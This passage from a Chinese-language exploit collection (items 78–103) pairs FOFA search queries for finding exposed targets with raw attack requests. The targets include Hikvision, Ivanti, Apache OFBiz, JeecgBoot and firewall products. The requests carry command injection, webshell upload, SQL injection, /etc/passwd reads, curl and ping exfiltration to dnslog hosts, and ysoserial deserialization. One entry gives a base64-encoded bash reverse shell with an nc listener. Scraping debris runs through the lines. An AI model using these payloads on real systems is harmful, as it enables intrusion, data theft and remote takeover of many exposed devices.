. G! |  k: D( ?  ~0 G8 ]------------398jnjVTTlDVXHlE7yYnfwBoix
, E- N$ A8 M' B. z3 @3 g; bContent-Disposition: form-data; name="Upload"

Submit Query
3 `' ?/ r& p) r9 S------------398jnjVTTlDVXHlE7yYnfwBoix--
: j- F3 P9 b2 X1 j) Y
) _7 f( t" @4 l' c) G9 W7 [; O  D4 q
  I1 w3 [! r# N! n! O78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
* G; w7 s5 j1 x; M% P+ a, sFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
" ?# W$ F, l- T4 D# CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. W) j1 i8 ]) ]& W! P0 u. fConnection: close
Content-Length: 336
& O" J( X' w" P  }4 `, z0 L& P- zAccept-Encoding: gzip
- ~& P- Q$ }8 bContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
9 q6 m) f2 t# Y* u: O, u
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

% N& U1 `) f) k7 XYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
1 \, D9 g+ `: x& }& Z! W1 l% V
& x+ D/ H- N  p0 ^3 m/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

! b2 E% f/ Y; N1 }
2 I8 f" T- o9 L8 X. nGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
$ c3 W. F7 g! vHost: x.x.x.x

3 w0 f( l6 c) l
2 w$ M+ D# M; u, G79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
9 s+ h, v, g0 W- \- \( ]3 U' g, IGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* c+ D: e/ I* ~6 e4 G. wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 z6 f3 G7 z9 K+ L8 G: I/ K4 JConnection: close
1 e& Q7 U. }2 R- `1 ]Upgrade-Insecure-Requests: 1
/ T* u7 c$ S7 E

, m' o8 ~7 Z( N4 h# U80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: x  q/ R1 \5 d$ O' M+ Z- jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 U; y$ s+ w. S0 f4 AContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
6 Q- I2 U! @* `  [3 |: hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
4 k+ Q1 g" ^- T' S: L
' s. J" s( E2 g" L<% out.print("oessqeonylzaf");%>

# n" B3 h* C4 F: V8 ^
GET /xykqmfxpoas.jsp HTTP/1.1
8 Z! c2 {1 s& W  UHost: x.x.x.x
0 S! |7 f; T, C0 q  R% K  AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
& H$ x. j  P/ H5 xAccept-Encoding: gzip


) a4 m& \# e* T6 Q, B81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
4 y' F8 K) W6 J4 b" M8 KGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
3 U) r: @; b* ^2 P4 q5 a! j+ ~Host: x.x.x.x
% k  r# Y6 f+ r. M/ d6 m; ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 d7 ^7 s7 [% VConnection: close
Accept-Encoding: gzip
0 p0 B. T' i0 x: D3 Y" D

8 E& `3 I# W( t- \82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& D7 q0 P& `4 |FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
! ~" u# o2 L1 VHost: BaseURL
- p, w) ], z) j3 [# OUser-Agent: Go-http-client/1.1
Content-Length: 23
2 G. b6 V$ O) K: {Accept-Encoding: gzip
+ Z5 q7 w3 k; ~3 D9 ^Connection: close
' Q. ^4 F& e' J. L$ h, I+ F/ pContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

* m1 X% V7 ?" v0 X% V# ^z1=1&z2="|id;"&z3=bhost
, f# W( b' r' R

83. JeecgBoot testConnection 远程命令执行
9 ~# g2 L4 Q: }( `FOFA：title=="JeecgBoot 企业级低代码平台"
: ?' n& n9 ?3 t# `' t) |( V, A
: ]6 m+ p* m) }/ {
5 N1 A4 [! J5 KPOST /jmreport/testConnection HTTP/1.1
. J( M, x8 }- Q- ]' k! [1 K2 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
. e7 O1 E+ v6 @; _8 UCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

# E" t1 i3 l+ |# oPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
# n1 @3 Q0 p% Y5 \# x) h* sFOFA：title=="JeecgBoot 企业级低代码平台"

! ?' e  h5 s& Q! r; g9 l0 p
8 @6 I4 w' Z4 W
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
7 d1 I& e( C- y( i, i/ J5 ^Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
% f5 [$ M1 V1 V% Q  U2 s- m4 aContent-Length: 156
# h& M& ^* `! c0 d7 n" t, C3 @) EAccept: */*
( W/ T8 R5 e0 S7 fConnection: close
Content-Type: application/json
Accept-Encoding: gzip
* c1 ?( v3 F, M  L& \
7 @* m7 N. B7 w1 D) u* `{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


8 _, g1 {6 i9 q; a85. SysAid On-premise< 23.3.36远程代码执行
- ^4 P% z% I+ u% D& VCVE-2023-47246
1 v6 l9 k: G: XFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
8 K! Y* ^* f3 TPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
. @4 X; Z- f; d* f4 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 X: m& F6 q% ?6 h9 O, H" `Content-Type: application/octet-stream
9 l6 D2 r. B4 RAccept-Encoding: gzip
# X3 V8 i4 D8 u5 R7 R: a. N' H
$ T9 H" ]/ N4 H2 u) DPAYLOAD

2 q8 o, f) e1 j( w! J回显URL：http://x.x.x.x/userfiles/index.jsp
; m4 P4 h# ]4 C' W; a3 _
86. 日本tosei自助洗衣机RCE
8 D  h: e7 `2 GFOFA：body="tosei_login_check.php"
6 o; `) l6 t; o$ P# ?: q- pPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
3 }; K  c: x! X! |$ h  LConnection: close
Content-Length: 44
% y, R$ A- p, c# k3 fAccept: */*
* x7 ]  T8 r  v5 i9 w- }) hAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" W" G/ ~- G1 \/ `
host=%0acat${IFS}/etc/passwd%0a&command=ping


& b2 O6 J# F5 a6 h87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" B2 W9 q" Q- J1 VConnection: close
4 @( M4 s- b& n# E4 zContent-Length: 198
4 K1 F9 n" W3 u3 {9 v) oAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
8 q) e: p3 ^# v; rContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
% p* F* S  Q2 k7 E  Q! k1 S: QContent-Type: text/plain

* ^- N, o/ C' Z) q$ y2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

( S" u8 l) W+ D) C8 ?: Z* X
( z* d3 }! \% N. y4 d/jfhatuwe.php
5 C. [; p9 ]: n. P% G4 L; M9 g! N7 M
# ^# S3 J: e( Q88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
) ~  |$ q. o$ ?" iGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
$ \8 t9 x( e  z3 SHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 G) L) h% B# p' V' ^9 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 J$ S8 Q" ?& L: p/ uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 i5 S2 v( i3 i" q0 v; C) ?7 ]Connection: close


. v9 ]$ S8 E( U! o/astdfkhl.php

6 r8 a, k0 d. L5 Z& R1 z/ i89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
1 r/ _: |0 o, YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
3 A: n- M1 R  \% DContent-Type: application/x-www-form-urlencoded
" E- w' O, L- }) v1 [9 ~4 jAccept-Encoding: gzip
* n& p# D0 v) e/ v1 o, s! B
option=2&GUID=-1'+union+select+111*222--+

2 Y- C2 L& {4 L- \6 A
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
- v9 N+ A6 i7 [2 z% B- L) UFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
2 i# H3 z' O+ HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
# S2 g* i# U( \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
: k% g6 f& K& F0 l; X8 y- N
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
4 u% x6 n* I9 h
! D- g9 T; J$ P& b
$ j, m: G/ h! Q# S/ S8 W- h! p91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
8 y9 o# o1 x$ V/ i& H: s. HFOFA：title="综合安防管理平台"
; s( ^! b$ K7 B) E- ~# ZGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
6 g+ c# L% Y; B9 j/ K0 a9 R# M3 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
( a( ]' ]" `. \' wAccept: */*
Connection: keep-alive
: y2 [; b; W$ l4 R* Z( c. `% T! ^$ Y
$ K9 _' ^! T# b: M8 x' U

- t8 [. T& x% ]92. 海康威视运行管理中心session命令执行
Fastjson命令执行
6 k6 e& M' |' f) ?  ^* a$ ?3 O# ehunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
" M/ [& Q' ^2 E, I" z2 wPOST /center/api/session HTTP/1.1
Host:
, {9 ^4 t/ s+ I# G9 ~* }$ ~2 QAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
0 u; c7 j4 i4 |! W# L: tX-Language-Type: zh_CN
$ p3 h3 V7 y# ]2 a" dTestcmd: echo test
% g$ N' x/ h/ M* j4 \% RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
: }* S, }( K% a! ]( x/ x9 U" PAccept-Language: zh-CN,zh;q=0.9
9 V6 `6 F) d4 EContent-Length: 5778

PAYLOAD
" i/ }) j  W2 |7 {) Q2 K, }
+ H9 B0 A& ]7 |
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
: \; P5 }: d" Q) z. B2 CPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
9 [7 b0 w; s- ^5 Z6 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
+ @4 [5 K  n# ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ w8 F3 O5 d  E8 O1 E; n" e
5 f# i9 M% h, G------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
' Z0 A1 i; F6 u* K0 w0 u: o
10000000
1 Z0 }# y( a3 g/ p4 x; X------WebKitFormBoundarykcbkgdfx
$ h% ^9 @6 m2 I% J5 o- e- l- Z; _Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
7 {! B7 [+ s$ i0 z5 x. dContent-Type: text/plain
8 M3 }0 T  y" {+ O
- j/ b2 j. O9 J/ o+ c, u7 jwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
* n& J5 `( l; V  i
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
/ {: O& T  P! E8 J6 ]7 q& H2 T
. q' ?; O: b5 ~* K0b9d6b1ab7479ab69d9f71b05e0e9445
$ r. {& V8 o" ?! y% J2 D------WebKitFormBoundarykcbkgdfx--

; \! x$ H5 \2 P& G) ]6 W: X, U
& \" `- Z- G: v2 h* a% U( UGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 l6 L- L5 p/ E" I4 ~

+ T/ }1 e$ F( K7 p/ i; I94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
4 Y# k- R  ^3 z+ A: [8 ?4 c: N7 JHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

3 ?. H( H) V2 B+ f------WebKitFormBoundarybqvzqvmt
: `9 W) B! T  p! a; C( A4 sContent-Disposition: form-data; name="MAX_FILE_SIZE"

6 s+ x9 e+ b: y5 v10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
" E: N' s) ~  F* D1 P4 \! L
pxplitttsrjnyoafavcajwkvhxindhmu
! Y/ y6 }, h: B; d- J, N' N------WebKitFormBoundarybqvzqvmt
5 w6 C( M0 c/ r3 `. O  R" JContent-Disposition: form-data; name="submit_post"
; R7 Q( L$ m' u! _0 ?8 [  r/ R' ~
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
8 C( k2 ]. Z3 Z" B# _$ v! p5 ^Content-Disposition: form-data; name="__hash__"
# r% y. i0 X1 f$ e) H7 |- k) b& y7 C# t
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
6 h: C9 A, j5 [9 F" L
; b& X6 x/ T# Y5 c( n
, t( d  f7 n+ J; K+ ^% W. }) P8 w0 H
- S6 t" @; Q9 y+ X, s  eGET /attachements/xlskxknxa.txt HTTP/1.1
0 K8 N" u& \' kHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 _+ V, j: l9 a5 p2 {2 j


% w- @( k: w& l* ~: N95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
- Q+ c- ?. ^5 \& Q; N0 i# ]# dCVE-2023-49070
! I5 A3 F2 V% }' j" i: gFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

6 j3 Z) j: I5 m5 ~/ D; y<?xml version="1.0"?>
<methodCall>
; S9 h1 p8 [1 W' e   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
# J1 w" ?- C1 e; @7 r+ o    <params>
      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
/ ^; `/ [9 q+ ?$ e$ i+ h7 s      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
' w0 @1 ~* ]! L) v0 C- P      </value>
& T7 g# n2 W$ Q- Z+ l; ~: l! J    </param>
    </params>
( ]; _6 {5 ]4 w% A( p* I3 s, f! k</methodCall>


! H, \  W7 P4 \: Y: c' Q用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
4 a! k  N& S* V" KPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
( p! E, Y' }8 W5 k& O2 R* RHost: 192.168.40.130:8443
! t3 a! J. Q/ d; U* LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* y: s* A8 A+ i2 n; [. MConnection: close
Content-Length: 889
' w2 g5 _: W1 v5 e; |  oContent-Type: application/xml
% l, H) j2 g' r: xAccept-Encoding: gzip
- P/ l6 t2 `+ h- r
% }8 l8 s& R2 T4 W- `$ sPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
* Y3 s( L9 R! A2 uFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 c: x3 v# g/ ^9 uAccept: */*
' P' }2 U7 \* K; m0 u$ b: n' jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
' @3 n7 F/ h) i3 v$ ?+ F" @7 _0 a7 e
groovyProgram=throw+new+Exception('id'.execute().text);
% Z3 m2 U% i1 Q6 ?4 }, `
* [. ]6 r* ?- {6 _0 c0 o  E) F! E
反弹shell
0 T2 q6 T2 k/ m( g: J! A0 b在kali上启动一个监听
3 x& u6 a+ O2 y. A) g- H1 L; Qnc -lvp 7777
2 ]8 M1 Z+ s9 n! v7 n! t, D
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
% E1 R1 e( V5 V( ^! v- tHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' p# L, m0 r6 t2 v3 R4 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
  |. _9 L8 J, y
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
) H9 Z& ^, l3 r1 D. A/ d* ^7 FFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
/ i3 \+ a3 d5 Q& x& b  p: GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
5 a. I+ ~2 G' R# GConnection: close
( T' A; m% o* g  s! J9 Q( }Cookie: rememberMe=PAYLOAD
% k) d# O( X  J) V2 M" I! lX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


9 j* l; X! m0 D+ {2 a98. SpiderFlow爬虫平台远程命令执行
7 O) p, o- a6 v: R' PCVE-2024-0195
FOFA：app="SpiderFlow"
- ~& A2 m9 M" \8 n0 Z# VPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
9 ^# r, |! n: \5 zAccept-Encoding: gzip, deflate
- j" g2 r( G+ b# r. N6 R6 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; m3 j$ W+ x( J" s* B7 FX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
, v% L: r+ i) N. m) v6 g* k! g

5 X: @+ ]7 F8 O; q  o1 B( K99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
. g$ d; g' _: i8 n! v: dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: [& o4 P5 |% E1 ^. V4 ?Connection: close
$ k" z6 u7 ~' O% j) e( KContent-Length: 154
Accept: */*
, a  S* j5 e0 @# qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
+ B" W0 d% E1 ?$ [: O
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
" V& Z! y, H% V& f5 k* |+ |  ]
) A" _  L+ n! n/ T4 V1 K( z
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
6 W- P9 V- _# Y8 q: FPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
$ K* R2 Q5 }( \" h, h2 SConnection: close
7 y! U& @+ B2 w+ T$ a5 ]% b) TContent-Length: 201
, J  x+ A6 A8 `6 i  F* J8 D, T" }; @Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
1 a! Q' ^& ?% z, HContent-Disposition: form-data; name="file";filename="IE4MGP.php"
+ v$ B* i% z& P5 y6 i/ v0 dContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
4 Y/ ~8 W! n& \6 G: rFOFA：body="welcome.cgi?p=logo"
0 X: C4 _5 G8 w/ [GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
( l+ ~. V$ w5 T2 ]" I8 _Host: x.x.x.xx.x.x.x
% _2 h# Z7 V4 w# t& e8 @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

" N& P5 g& N  t0 Q$ S- f% _
) a* _8 o- l3 s* v8 w& f102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
) g: g8 h1 W4 _* F3 m* _FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
4 A' ?. L1 f$ {Host: x.x.x.x
' I) w; r) }5 l- U# c/ M" `/ C& `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& `: S* Z$ L5 I9 j0 Y& d* HConnection: close
Content-Length: 792
Accept-Encoding: gzip
0 ~- j9 _. Y# R( ~( P8 |) H. e. l
' E$ c8 `7 O( m( b  u5 n+ z4 N<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

- B* T' ]( A! O" Q* N8 l103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
( Y6 [! }- x) t* @" S$ ^0 CFOFA：body="welcome.cgi?p=logo"
/ {& U! P' F7 BPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
* F! T( e% M7 t, J8 ^Host: 192.168.40.130:111
/ e# m: l( V1 {& I( }User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
  t3 G  H) d& qConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% w* \: ~  B+ [- V

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
